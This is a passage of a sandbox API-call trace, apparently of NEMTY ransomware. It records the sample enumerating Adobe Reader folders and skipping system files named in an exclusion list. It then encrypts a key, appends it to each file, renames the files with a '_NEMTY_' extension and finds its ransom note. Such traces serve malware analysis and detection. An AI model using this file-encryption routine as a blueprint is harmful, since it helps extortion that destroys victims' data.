[0190.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.126] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf._nemty_kgobjgd_")) returned 1 [0190.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0190.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0190.127] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0190.127] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0190.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0190.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0190.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404f8 [0190.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0190.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0190.128] Sleep (dwMilliseconds=0x5) [0190.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24f93b30, dwHighDateTime=0x1d561e8)) [0190.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24f93b30, dwHighDateTime=0x1d561e8)) [0190.131] GetLastError () returned 0x0 [0190.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.131] GetLastError () returned 0x0 [0190.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0190.131] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.131] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.131] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0190.131] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="k20tmkrHed/X5tSzZzlXr/zjthYDkvbj1Ykw6UyzyfEmEAmRZKVP3RikhkZb/719\r\ng0CH12S3Zz85Y9wljTweZi+n+v1CGMQM8ORmgb+71ug58/CktPOlX8618nX3860f\r\ngm989IjYnafdos6IZD8qNfcShOTAm6Q8W8knjPKqfJlJ09jc2PKrh4tzTh8WHIv+\r\naetCO1OmeXtMtsQYeAgFlAC10wn99h4WUJjRiFY02EdZ+jttwzMMa2OTvjo6rW64\r\nE452f32T5DN0PJuphiQHYH8T0jdkgQR4lLrgKAEYQFpaRJfBqpPGspKzOjyk6gAe\r\nTDJmqFJ2g+VZBoiQBaz90w==\r\n", pcchString=0x653df5c) returned 1 [0190.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0190.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0190.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0190.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.132] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=98378) returned 1 [0190.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x18040) returned 0x6352c48 [0190.132] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.132] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x18040, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x18040, lpOverlapped=0x0) returned 1 [0190.140] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.140] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x18040, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x18040, lpOverlapped=0x0) returned 1 [0190.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.140] SetFilePointer (in: hFile=0x320, lDistanceToMove=98378, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1804a [0190.140] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.140] CloseHandle (hObject=0x320) returned 1 [0190.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0190.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0190.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0190.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0190.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0190.141] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.142] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24eaf2f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24eaf2f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24eaf2f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0190.142] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0190.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0190.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.143] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24eaf2f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24eaf2f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24eaf2f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0190.143] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0190.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0190.143] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="UKR", cAlternateFileName="")) returned 1 [0190.143] lstrcmpiW (lpString1="UKR", lpString2=".") returned 1 [0190.143] lstrcmpiW (lpString1="UKR", lpString2="..") returned 1 [0190.143] lstrcmpiW (lpString1="UKR", lpString2="...") returned 1 [0190.143] lstrcmpiW (lpString1="UKR", lpString2="windows") returned -1 [0190.143] lstrcmpiW (lpString1="UKR", lpString2="$RECYCLE.BIN") returned 1 [0190.143] lstrcmpiW (lpString1="UKR", lpString2="rsa") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="NTDETECT.COM") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="ntldr") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="MSDOS.SYS") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", lpString2="IO.SYS") returned 1 [0190.144] lstrcmpiW (lpString1="UKR", 